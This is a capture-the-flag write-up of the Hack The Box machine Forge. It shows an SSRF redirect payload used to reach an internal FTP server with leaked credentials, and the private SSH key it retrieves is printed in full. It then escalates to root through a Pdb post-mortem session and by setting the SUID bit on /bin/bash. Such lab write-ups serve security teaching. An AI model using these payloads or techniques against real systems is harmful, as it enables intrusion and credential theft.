Hack The Box - Forge

info_card

Forge is a medium rated machine on HackTheBox created by NoobHacker9999. For the user part we will abuse a SSRF vulnerability to bypass ip blacklisting and retrieve a private ssh key. After this we will crash a python script we are allowed to run as the root user dropping us into a PDB session as root.

User

Nmap

As usual we start our enumeration off with a nmap scan against all ports followed by a script and version detection scan against the open ones to get an initial overview of the attack surface.

All ports

1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p-  -T4  10.129.219.213
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-12 17:29 GMT
Nmap scan report for 10.129.219.213
Host is up (0.039s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE    SERVICE
21/tcp filtered ftp
22/tcp open     ssh
80/tcp open     http

Nmap done: 1 IP address (1 host up) scanned in 146.70 seconds

Script and version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ sudo nmap -p21,22,80 -sC -sV 10.129.219.213
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-12 17:32 GMT
Nmap scan report for 10.129.219.213
Host is up (0.033s latency).

PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://forge.htb
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.33 seconds

SSRF

There are only two ports open on the machine with 80 being the bigger chance for success. The scan also leaks the vhost forge.htb which we add to our /etc/hosts file. Another intersting thing is that ftp is being displayed as filtered. This might mean the service is running but we cannot access it through the firewall. Going over to the homepage we find a gallery where we can also upload our own images either from disk or from an URL.

forge_home

url_upload

Since there are vhosts in use we fuzz for additional ones using ffuf and find one with admin.forge.htb, which we also add to our /etc/hosts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://forge.htb/ -H 'Host: FUZZ.forge.htb' -fw 18

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://forge.htb/
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.forge.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response words: 18
________________________________________________

admin                   [Status: 200, Size: 27, Words: 4, Lines: 2]
:: Progress: [114441/114441] :: Job [1/1] :: 1208 req/sec :: Duration: [0:01:34] :: Errors: 0 ::

Going to http://admin.forge.htb it seems like access is restricted to localhost only.

forge_admin

Since we can upload an image with an URL we might be able to upload the page of the vhost and look at it later. We enter the URL, intercept the request with burp and send it to repeater.

url_admin

Sending the request it returns a message stating that this page is blacklisted.

blacklist

If this blacklist is only implemented for the initial request and we are able to redirect it we might be able to make it request a page we host and redirect it to admin.forge.htb from there. For this we write a short index.php which sets the location header on the server reply and serve it with a php web server.

1
2
3
4
5
<?php

header("Location: http://admin.forge.htb/");

?>
1
2
$ sudo php -S 0.0.0.0:80
[Sun Sep 12 17:41:38 2021] PHP 7.4.21 Development Server (http://0.0.0.0:80) started

Sending the request again now with the URL pointing to our served index.php we get a link where the page from our URL got saved.

admin_success

Looking at our webserver we also see that it got successfully redirected.

1
2
3
4
5
$ sudo php -S 0.0.0.0:80
[Sun Sep 12 17:41:38 2021] PHP 7.4.21 Development Server (http://0.0.0.0:80) started
[Sun Sep 12 17:42:30 2021] 10.129.219.213:41112 Accepted
[Sun Sep 12 17:42:30 2021] 10.129.219.213:41112 [302]: GET /index.php
[Sun Sep 12 17:42:30 2021] 10.129.219.213:41112 Closing

Opening this link in our browser we get a display error which probably results from the application expecting an image.

cannot_display

We can however just curl it and retrieve what looks like the index page of http://admin.forge.htb/. There are two additional pages announcements and upload, which we can retrieve in the same way as before.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ curl http://forge.htb/uploads/myWW9gzNuSx30Nqy6Iai
<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>

We change our location header on the webserver and send the request again.

1
2
3
4
5
<?php

header("Location: http://admin.forge.htb/announcements");

?>

Retrieving the page again with curl there we get some very useful information. The ftp server seems to liste on localhost and we also get the credentials user:heightofsecurity123! to access it. It is furthermore stated that we can access the server with the ftp:// wrapper and that we can use the upload page with the ?u= parameter to upload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ curl http://forge.htb/uploads/p6hVww7MmSABh456huCN
<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>
</html>

Checking if we can access ssh with these credentials we see that it only accepts key authentication.

1
2
$ ssh user@forge.htb
user@forge.htb: Permission denied (publickey).

Taking a look at the upload page aswell there doesn’t seem to be any additional useful information.

1
2
3
4
5
<?php

header("Location: http://admin.forge.htb/upload");

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$curl http://forge.htb/uploads/xihqerFnoin7XtUJJm0a
<!DOCTYPE html>
<html>
<head>
    <title>Upload an image</title>
</head>
<body onload="show_upload_local_file()">
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/upload.css">
    <script type="text/javascript" src="/static/js/main.js"></script>
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <center>
        <br><br>
        <div id="content">
            <h2 onclick="show_upload_local_file()">
                Upload local file
            </h2>
            <h2 onclick="show_upload_remote_file()">
                Upload from url
            </h2>
            <div id="form-div">

            </div>
        </div>
    </center>
    <br>
    <br>
</body>
</html>

The best thing we could possibly retrieve with the upload functionality from the ftp server would probably be a private ssh key. For this we just use the ftp:// wrapper and specify the credentials in the URL under the assumption the ftp server might have been started in the home dir.

1
2
3
4
5
<?php

header("Location: http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.0.0.1/.ssh/id_rsa");

?>

Sending the request and retrieving the page we were able to get the ssh key of the user user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ curl http://forge.htb/uploads/FZ0VwlSXGSIRanmdtzN5
-----BEGIN OPENSSH PRIVATE KEY-----
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
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----

We write the key to a file, set the correct permissions on it, ssh into the machine and grab the first flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ curl http://forge.htb/uploads/FZ0VwlSXGSIRanmdtzN5 > user
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2590  100  2590    0     0  36478      0 --:--:-- --:--:-- --:--:-- 36478
$ chmod 600 user
$ ssh -i user user@forge.htb
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 12 Sep 2021 05:50:41 PM UTC

  System load:           0.0
  Usage of /:            44.0% of 6.82GB
  Memory usage:          22%
  Swap usage:            0%
  Processes:             228
  Users logged in:       1
  IPv4 address for eth0: 10.129.219.213
  IPv6 address for eth0: dead:beef::250:56ff:feb9:741e


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Sep 12 17:50:00 2021 from 10.10.14.46
user@forge:~$ wc -c user.txt
33 user.txt

Root

Pdb

Checking for sudo permission the user user is able to run a python script as root.

1
2
3
4
5
6
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

The script starts a webserver and first requires password authentication. It then starts a loop parsing the input to an integer, running commands for the the valued 1-3 and exiting on 4. This doesn’t look vulnerable so far but on throwing an exception the script starts a Pdb(python debugger) instance with the traceback. This means when we are able to make it error we get a Pdb session as root resulting in command execution as root.

remote-manage.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

For this we will first need another ssh session on the machine where we then run the scrip as root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ssh -i user user@forge.htb
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 12 Sep 2021 05:52:45 PM UTC

  System load:           0.01
  Usage of /:            44.0% of 6.82GB
  Memory usage:          22%
  Swap usage:            0%
  Processes:             224
  Users logged in:       1
  IPv4 address for eth0: 10.129.219.213
  IPv6 address for eth0: dead:beef::250:56ff:feb9:741e


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Sep 12 17:50:42 2021 from 10.10.14.46
user@forge:~$
1
2
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:14562

On our initial session we connect to the socket with nc. We enter the password and then simply a non numerical value like a to make int() throw an exception.

1
2
3
4
5
6
7
8
9
10
user@forge:~$ nc localhost 14562
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
a

This drops us into a Pdb shell where we can interactively run python code. An easy way to abuse this is to just import the os module and use the system() function to run commands on the underlying system.

1
2
3
4
5
6
7
8
9
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:14562
invalid literal for int() with base 10: b'a'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) import os
(Pdb) os.system("whoami")
root
0

We could now already read the root flag but let’s quickly get an actual shell as the root user by giving bash the suid bit.

1
2
3
4
5
6
(Pdb) os.system("chmod +s /bin/bash")
0
(Pdb) exit
user@forge:~$ bash -p
bash-5.0# wc -c /root/root.txt
33 /root/root.txt